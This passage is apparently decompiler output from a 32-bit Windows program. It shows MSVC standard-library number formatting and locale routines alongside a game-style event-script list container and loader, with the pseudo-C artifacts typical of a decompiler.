-------------------------------------------------------- void __thiscall std::numpunct::_numpunct(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::numpunct::_vftable_; std::numpunct::_Tidy(this); v1->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 5B15A0: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); // 5DBBCC: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004A1DB0) -------------------------------------------------------- void __thiscall std::numpunct::_Tidy(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; operator delete__((void *)this->_Grouping); operator delete__((void *)v1->_Falsename); operator delete__((void *)v1->_Truename); } //----- (004A1DE0) -------------------------------------------------------- void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj) { std::numpunct *v2; // esi@1 lconv *v3; // edi@1 _Cvtvec v4; // qax@1 const char *v5; // ecx@1 int v6; // [sp+0h] [bp-30h]@1 _Cvtvec v7; // [sp+Ch] [bp-24h]@1 _Cvtvec __formal; // [sp+14h] [bp-1Ch]@1 std::numpunct *v9; // [sp+1Ch] [bp-14h]@1 int *v10; // [sp+20h] [bp-10h]@1 int v11; // [sp+2Ch] [bp-4h]@1 v2 = this; v10 = &v6; v9 = this; v3 = localeconv(); v2->_Grouping = 0; v2->_Falsename = 0; v2->_Truename = 0; v11 = 0; v4 = _Getcvt(); v5 = v3->grouping; __formal = v4; v2->_Grouping = std::_Maklocstr(v5, 0, &__formal); __formal = _Getcvt(); v2->_Falsename = std::_Maklocstr("false", 0, &__formal); v7 = _Getcvt(); v2->_Truename = std::_Maklocstr("true", 0, &v7); _Getcvt(); v2->_Dp = *v3->decimal_point; _Getcvt(); v2->_Kseparator = *v3->thousands_sep; } //----- (004A1EA6) -------------------------------------------------------- void __usercall _L164476(int a1) { std::numpunct::_Tidy(*(std::numpunct **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004A1EC0) -------------------------------------------------------- char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *a3) { const char *v3; // edi@1 unsigned int v4; // kr00_4@1 int v5; // esi@1 char *result; // eax@1 char *v7; // ecx@1 v3 = _Ptr; v4 = strlen(_Ptr); v5 = v4 + 1; result = (char *)operator new__(v4 + 1); v7 = result; if ( v4 != -1 ) { do { *v7++ = *v3++; --v5; } while ( v5 ); } return result; } //----- (004A1F00) -------------------------------------------------------- void __thiscall ListArray::ListArray(ListArray *this, int size) { int v2; // ebx@1 ListArray *v3; // edi@1 void *v4; // eax@3 v2 = 0; v3 = this; if ( size > 0 ) { this->la_Size = size; v4 = operator new__(280 * size + 4); if ( v4 ) { v2 = (int)((char *)v4 + 4); *(_DWORD *)v4 = size; _eh_vector_constructor_iterator_( (char *)v4 + 4, 0x118u, size, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); } } else { this->la_Size = 65535; } v3->la_Array = (PineEventScriptNode::Block *)v2; } //----- (004A1F90) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+4h] [bp-14h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(280 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x118u, v6, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_( v8, 0x118u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { PineEventScriptNode::Block::l_Clone( (PineEventScriptNode::Block *)((char *)extsizea + v10 * 280), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 280; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_( v20, 0x118u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__(v21); } v2->l_ListArray->la_Array = (PineEventScriptNode::Block *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (004A2220) -------------------------------------------------------- void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this) { PineEventScriptNode::Script *v1; // esi@1 void *v2; // eax@1 ListArray *v3; // eax@2 void *v4; // eax@4 List *v5; // eax@5 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Script::_vftable_; v2 = operator new(8u); if ( v2 ) ListArray::ListArray( (ListArray *)v2, 4); else v3 = 0; v1->s_BlockArray = v3; v4 = operator new(0x18u); if ( v4 ) { List::List( (List *)v4, v1->s_BlockArray); v1->s_BlockList = v5; } else { v1->s_BlockList = 0; } } // 5B15C8: using guessed type int (__stdcall *PineEventScriptNode__Script___vftable_)(int tr); //----- (004A2380) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Script *v2; // ebp@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 List *v7; // ecx@7 int v8; // eax@7 int v9; // eax@8 List *v10; // ecx@9 int v11; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@2 v2 = this; while ( 1 ) { tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) break; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), v7 = v2->s_BlockList, v8 = v7->l_Finger.empty, (_WORD)v8 == -1) || (v9 = ((int (__stdcall *)(int))v7->vfptr->l_AllocZ)(v8)) == 0) && ((List::l_Enlargement(v2->s_BlockList, 4), v10 = v2->s_BlockList, v11 = v10->l_Finger.empty, (_WORD)v11 == -1) || (v9 = ((int (__stdcall *)(int))v10->vfptr->l_AllocZ)(v11)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 0; } return 1; } //----- (004A2450) -------------------------------------------------------- void __thiscall PineEventScript::PineEventScript(PineEventScript *this) { PineEventScriptNode::Script::Script(&this->pes_Script); } //----- (004A2470) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode) { std::basic_stringstream,std::allocator > *v2; // esi@1 int v3; // [sp+24h] [bp+8h]@0 v2 = this; if ( v3 ) { *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap0[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->gap54[0] = &std::basic_ios>::_vftable_; } std::basic_iostream>::basic_iostream>( &this->___u0.baseclass_0, (std::basic_streambuf > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4]); *(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[0] + 4)] = &std::basic_stringstream_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>( (std::basic_stringbuf,std::allocator > *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap8[4], _Mode); } // 4A2470: inconsistent function type and number of purged bytes // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5B12FC: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (004A2500) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result) { int v2; // edx@1 char **v3; // eax@2 char *v4; // esi@2 char *v5; // eax@3 char *v6; // ecx@5 char **v7; // esi@8 unsigned int v8; // ST08_4@9 char *v9; // ST04_4@9 std::basic_string,std::allocator > *v10; // eax@14 void *v11; // [sp-4h] [bp-40h]@6 char _Nul; // [sp+10h] [bp-2Ch]@5 void *p; // [sp+14h] [bp-28h]@5 int v14; // [sp+24h] [bp-18h]@5 unsigned int v15; // [sp+28h] [bp-14h]@5 unsigned int v16; // [sp+2Ch] [bp-10h]@14 int v17; // [sp+38h] [bp-4h]@5 v2 = this->_Mystate; if ( v2 & 2 || (v3 = this->baseclass_0._IPnext, (v4 = *v3) == 0) ) { if ( v2 & 4 || (v7 = this->baseclass_0._IGnext, !*v7) ) { v15 = 15; v14 = 0; LOBYTE(p) = 0; result->_Myres = 15; result->_Mysize = 0; v17 = 2; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&_Nul, 0, 0xFFFFFFFFu); if ( v15 >= 0x10 ) { v11 = p; goto LABEL_13; } } else { v8 = (unsigned int)&(*v7)[*this->baseclass_0._IGcount - (unsigned int)*this->baseclass_0._IGfirst]; v9 = *this->baseclass_0._IGfirst; v15 = 15; v14 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Nul, v9, v8); result->_Myres = 15; result->_Mysize = 0; v17 = 1; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&_Nul, 0, 0xFFFFFFFFu); if ( v15 >= 0x10 ) { v11 = p; goto LABEL_13; } } } else { v5 = *v3; if ( this->_Seekhigh >= v4 ) v5 = this->_Seekhigh; v6 = *this->baseclass_0._IPfirst; v15 = 15; v14 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Nul, v6, v5 - v6); result->_Myres = 15; result->_Mysize = 0; v17 = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&_Nul, 0, 0xFFFFFFFFu); if ( v15 >= 0x10 ) { v11 = p; LABEL_13: operator delete(v11); goto LABEL_14; } } LABEL_14: __security_check_cookie(v16); return v10; } //----- (004A2670) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A26F0) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags) { char *result; // eax@1 char *v5; // edx@1 int v6; // edx@7 int v7; // esi@8 int v8; // edx@8 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 8 ) *v5++ = 35; if ( *_Spec == 76 ) { *v5 = 73; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 54; v5 = (char *)(v6 + 1); *v5 = 52; } else { *v5 = *_Spec; } v7 = _Flags & 0xE00; v8 = (int)(v5 + 1); if ( v7 == 1024 ) { *(_BYTE *)v8 = 111; *(_BYTE *)(v8 + 1) = 0; } else { if ( v7 == 2048 ) { *(_BYTE *)v8 = ~(8 * _Flags) & 0x20 | 0x58; *(_BYTE *)(v8 + 1) = 0; } else { *(_BYTE *)v8 = _Spec[1]; *(_BYTE *)(v8 + 1) = 0; } } return result; } //----- (004A2780) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count) { std::locale *v7; // eax@1 void *v8; // eax@1 int v9; // esi@1 std::numpunct *v10; // edi@1 unsigned int v11; // eax@2 int v12; // esi@5 char *v13; // ecx@7 char v14; // al@7 bool v15; // zf@7 char v16; // al@10 void *v17; // ebx@15 void *v18; // eax@15 void *v19; // eax@18 int v20; // eax@23 unsigned int v21; // ebp@23 unsigned int v22; // esi@23 int v23; // edi@28 int v24; // esi@32 unsigned int v25; // esi@34 int v26; // eax@37 std::basic_streambuf > *v27; // eax@38 int v28; // ecx@39 signed int v29; // eax@40 char *v30; // ebx@40 std::ostreambuf_iterator > *v31; // eax@45 std::basic_streambuf > *v32; // ebx@45 char v33; // al@47 std::ostreambuf_iterator > *v34; // eax@47 unsigned int v35; // ecx@47 std::basic_streambuf > *v36; // eax@47 std::ostreambuf_iterator > *v37; // eax@49 signed int _Prefix; // [sp+10h] [bp-44h]@12 int v39; // [sp+14h] [bp-40h]@2 int v40; // [sp+18h] [bp-3Ch]@40 std::basic_streambuf > *v41; // [sp+1Ch] [bp-38h]@40 int v42; // [sp+20h] [bp-34h]@1 void *_Punct_fac; // [sp+24h] [bp-30h]@1 char _Grouping; // [sp+28h] [bp-2Ch]@7 void *p; // [sp+2Ch] [bp-28h]@15 unsigned int v46; // [sp+40h] [bp-14h]@15 unsigned int v47; // [sp+44h] [bp-10h]@49 int v48; // [sp+50h] [bp-4h]@1 v7 = std::ios_base::getloc(_Iosbase, (std::locale *)&v42); v48 = 0; v8 = std::use_facet>(v7); v9 = v42; v10 = (std::numpunct *)v8; _Punct_fac = v8; v48 = -1; if ( v42 ) { std::_Lockit::_Lockit((std::_Lockit *)&v39, 0); v11 = *(_DWORD *)(v9 + 4); if ( v11 > 0 && v11 < 0xFFFFFFFF ) *(_DWORD *)(v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(v9 + 4) != 0) - 1) & v9; std::_Lockit::__Lockit((std::_Lockit *)&v39); if ( v12 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v12)(v12, 1); } std::numpunct::grouping(v10, (std::basic_string,std::allocator > *)&_Grouping); v13 = _Buf; v14 = *_Buf; v15 = *_Buf == 43; v48 = 1; if ( v15 || v14 == 45 ) { _Prefix = 1; } else { if ( v14 != 48 || (v16 = _Buf[1], v16 != 120) && v16 != 88 ) _Prefix = 0; else _Prefix = 2; } v17 = p; v18 = p; if ( v46 < 0x10 ) v18 = &p; if ( *(_BYTE *)v18 == 127 ) goto LABEL_52; v19 = p; if ( v46 < 0x10 ) v19 = &p; if ( *(_BYTE *)v19 <= 0 ) { LABEL_52: v21 = _Count; } else { if ( v46 < 0x10 ) v17 = &p; LOBYTE(v20) = *(_BYTE *)v17; v21 = _Count; v22 = _Count; if ( *(_BYTE *)v17 != 127 ) { while ( (char)v20 > 0 ) { v20 = (char)v20; if ( (char)v20 >= v22 - _Prefix ) break; v22 -= v20; v23 = (int)&v13[v22]; memmove(&v13[v22 + 1], &v13[v22], v21 - v22 + 1); *(_BYTE *)v23 = 44; ++v21; if ( *((_BYTE *)v17 + 1) > 0 ) v17 = (char *)v17 + 1; LOBYTE(v20) = *(_BYTE *)v17; if ( *(_BYTE *)v17 == 127 ) { v13 = _Buf; break; } v13 = _Buf; } } } v24 = _Iosbase->_Wide; if ( v24 <= 0 || v24 <= v21 ) v25 = 0; else v25 = v24 - v21; v26 = _Iosbase->_Fmtfl & 0x1C0; if ( v26 == 64 ) { v32 = _Dest._Strbuf; } else { v15 = v26 == 256; v27 = _Dest._Strbuf; if ( v15 ) { v41 = _Dest._Strbuf; v29 = _Prefix; v30 = v13; v40 = *(_DWORD *)&_Dest; if ( _Prefix ) { v39 = _Prefix; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v40, *v30++); --v39; } while ( v39 ); v13 = _Buf; v29 = _Prefix; } _Buf = &v13[v29]; v28 = v40; v21 -= v29; v27 = v41; } else { v28 = *(_DWORD *)&_Dest; } v31 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v40, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v27, v28), _Fill, v25); v32 = v31->_Strbuf; *(_DWORD *)&_Dest.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v31->___u0.baseclass_0.baseclass_0.dummy[0]; v25 = 0; } v33 = (*(int (**)(void))(*(_DWORD *)_Punct_fac + 8))(); v34 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v40, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v32, *(_DWORD *)&_Dest), _Buf, v21, v33); v35 = *(_DWORD *)&v34->___u0.baseclass_0.baseclass_0.dummy[0]; v36 = v34->_Strbuf; _Iosbase->_Wide = 0; std::num_put>>::_Rep( this, result, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v36, v35), _Fill, v25); if ( v46 >= 0x10 ) operator delete(p); __security_check_cookie(v47); return v37; } //----- (004A2A20) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator) { std::basic_streambuf > *v6; // ebx@1 int v7; // edi@1 void *v8; // eax@2 unsigned int v9; // esi@3 int v10; // edx@5 std::basic_streambuf > *v11; // ecx@5 unsigned int v12; // edi@6 bool v13; // zf@9 std::ostreambuf_iterator > *v14; // eax@11 std::ostreambuf_iterator > *v15; // eax@13 char *v16; // [sp+Ch] [bp-14h]@5 int v17; // [sp+10h] [bp-10h]@5 std::basic_streambuf > *v18; // [sp+14h] [bp-Ch]@5 char v19; // [sp+18h] [bp-8h]@11 const char *_Ptra; // [sp+38h] [bp+18h]@9 unsigned int _Counta; // [sp+3Ch] [bp+1Ch]@9 v6 = _Dest._Strbuf; v7 = *(_DWORD *)&_Dest; while ( 1 ) { v8 = memchr(_Ptr, 44, _Count); if ( v8 ) v9 = v8 - _Ptr; else v9 = _Count; v16 = (char *)_Ptr; v10 = v7; v11 = v6; v17 = v7; v18 = v6; if ( v9 ) { v12 = v9; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v17, *v16); --v12; ++v16; } while ( v12 ); v11 = v18; v10 = v17; } _Ptra = &_Ptr[v9]; v13 = _Count == v9; v7 = v10; v6 = v11; _Counta = _Count - v9; if ( v13 ) break; if ( _Kseparator ) { v14 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v19, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v11, v10), _Kseparator, 1u); v7 = *(_DWORD *)&v14->___u0.baseclass_0.baseclass_0.dummy[0]; v6 = v14->_Strbuf; } _Ptr = _Ptra + 1; _Count = _Counta - 1; } v15 = result; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = v10; result->_Strbuf = v11; return v15; } //----- (004A2AF0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[3].__vecDelDtor)(result); return result; } //----- (004A2B10) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A2B90) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A2C10) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A2C90) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // edx@2 signed int v8; // ebp@4 long double v9; // st7@6 unsigned int v10; // esi@6 unsigned int v11; // ebx@6 unsigned int v12; // edi@6 char *v13; // eax@17 int v14; // eax@17 std::num_put > > *thisa; // [sp+18h] [bp-7Ch]@1 char _Fmt[8]; // [sp+1Ch] [bp-78h]@17 char _Buf[108]; // [sp+24h] [bp-70h]@17 thisa = this; v6 = _Iosbase->_Prec; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Val; v10 = v6 - v8; v11 = 0; v12 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val < 0.0 ) v9 = -_Val; for ( ; v9 >= 1.0e35; v11 += 10 ) { if ( v11 >= 0x1388 ) break; v9 = v9 * 1.0e-10; } if ( v9 > 0.0 && (signed int)v10 >= 10 ) { do { if ( v9 > 1.0e-35 ) break; if ( v12 >= 0x1388 ) break; v9 = v9 * 1.0e10; v10 -= 10; v12 += 10; } while ( (signed int)v10 >= 10 ); } } v13 = std::num_put>>::_Ffmt(this, _Fmt, 0, _Iosbase->_Fmtfl); v14 = sprintf(_Buf, v13); std::num_put>>::_Fput( thisa, result, _Dest, _Iosbase, _Fill, _Buf, v11, v12, v10, v14); return result; } //----- (004A2E00) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags) { char *result; // eax@1 char *v5; // ecx@1 int v6; // ecx@5 int v7; // ecx@5 int v8; // edx@7 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 0x10 ) *v5++ = 35; *v5 = 46; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 42; v7 = v6 + 1; if ( _Spec ) *(_BYTE *)v7++ = _Spec; v8 = _Flags & 0x3000; if ( v8 == 8192 ) { *(_BYTE *)v7 = 102; *(_BYTE *)(v7 + 1) = 0; } else { *(_BYTE *)v7 = 2 * (v8 != 4096) + 101; *(_BYTE *)(v7 + 1) = 0; } return result; } //----- (004A2E60) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count) { std::locale *v10; // eax@1 void *v11; // eax@1 int v12; // esi@1 std::numpunct *v13; // edi@1 unsigned int v14; // eax@2 int v15; // esi@5 std::locale::facetVtbl *v16; // edx@7 const void *v17; // edi@7 const char v18; // al@7 bool v19; // zf@7 void *v20; // eax@10 void *v21; // eax@13 void *v22; // eax@16 void *v23; // eax@19 unsigned int v24; // esi@21 void *v25; // edi@22 char *v26; // eax@24 unsigned int v27; // esi@26 unsigned int v28; // eax@26 int v29; // ecx@35 unsigned int v30; // eax@35 int v31; // eax@39 std::basic_streambuf > *v32; // eax@42 int v33; // ecx@43 unsigned int v34; // ecx@43 std::ostreambuf_iterator > *v35; // eax@46 void *v36; // ebp@46 std::basic_streambuf > *v37; // ebx@46 void *v38; // eax@48 std::ostreambuf_iterator > *v39; // eax@49 std::ostreambuf_iterator > *v40; // eax@49 unsigned int v41; // ebx@49 std::basic_streambuf > *v42; // ebp@49 char v43; // al@49 std::ostreambuf_iterator > *v44; // eax@49 std::ostreambuf_iterator > *v45; // eax@49 void *v46; // eax@50 std::ostreambuf_iterator > *v47; // eax@51 std::ostreambuf_iterator > *v48; // eax@51 char *v49; // ecx@51 void *v50; // edx@53 int v51; // eax@53 char v52; // ST48_1@53 std::ostreambuf_iterator > *v53; // eax@54 std::ostreambuf_iterator > *v54; // eax@54 unsigned int v55; // ecx@54 std::basic_streambuf > *v56; // eax@54 std::ostreambuf_iterator > *v57; // eax@58 std::ostreambuf_iterator > *v58; // [sp-14h] [bp-98h]@41 std::ostreambuf_iterator > v59; // [sp-10h] [bp-94h]@41 char v60; // [sp-8h] [bp-8Ch]@41 unsigned int v61; // [sp-4h] [bp-88h]@41 char _Enders[3]; // [sp+10h] [bp-74h]@10 std::ostreambuf_iterator > _Fracoffset; // [sp+14h] [bp-70h]@8 std::_Lockit _Kseparator; // [sp+1Ch] [bp-68h]@2 void *_Punct_fac; // [sp+20h] [bp-64h]@1 int v66; // [sp+24h] [bp-60h]@53 int v67; // [sp+28h] [bp-5Ch]@49 int v68; // [sp+30h] [bp-54h]@1 int v69; // [sp+34h] [bp-50h]@49 char _Groupstring; // [sp+3Ch] [bp-48h]@16 char *p; // [sp+40h] [bp-44h]@7 unsigned int v72; // [sp+50h] [bp-34h]@7 unsigned int v73; // [sp+54h] [bp-30h]@7 char _Grouping; // [sp+58h] [bp-2Ch]@7 void *v75; // [sp+5Ch] [bp-28h]@10 unsigned int v76; // [sp+70h] [bp-14h]@10 unsigned int v77; // [sp+74h] [bp-10h]@58 int v78; // [sp+80h] [bp-4h]@1 unsigned int _Bufa; // [sp+A0h] [bp+1Ch]@37 int _Fillcount; // [sp+A4h] [bp+20h]@51 v10 = std::ios_base::getloc(_Iosbase, (std::locale *)&v68); v78 = 0; v11 = std::use_facet>(v10); v12 = v68; v13 = (std::numpunct *)v11; _Punct_fac = v11; v78 = -1; if ( v68 ) { std::_Lockit::_Lockit(&_Kseparator, 0); 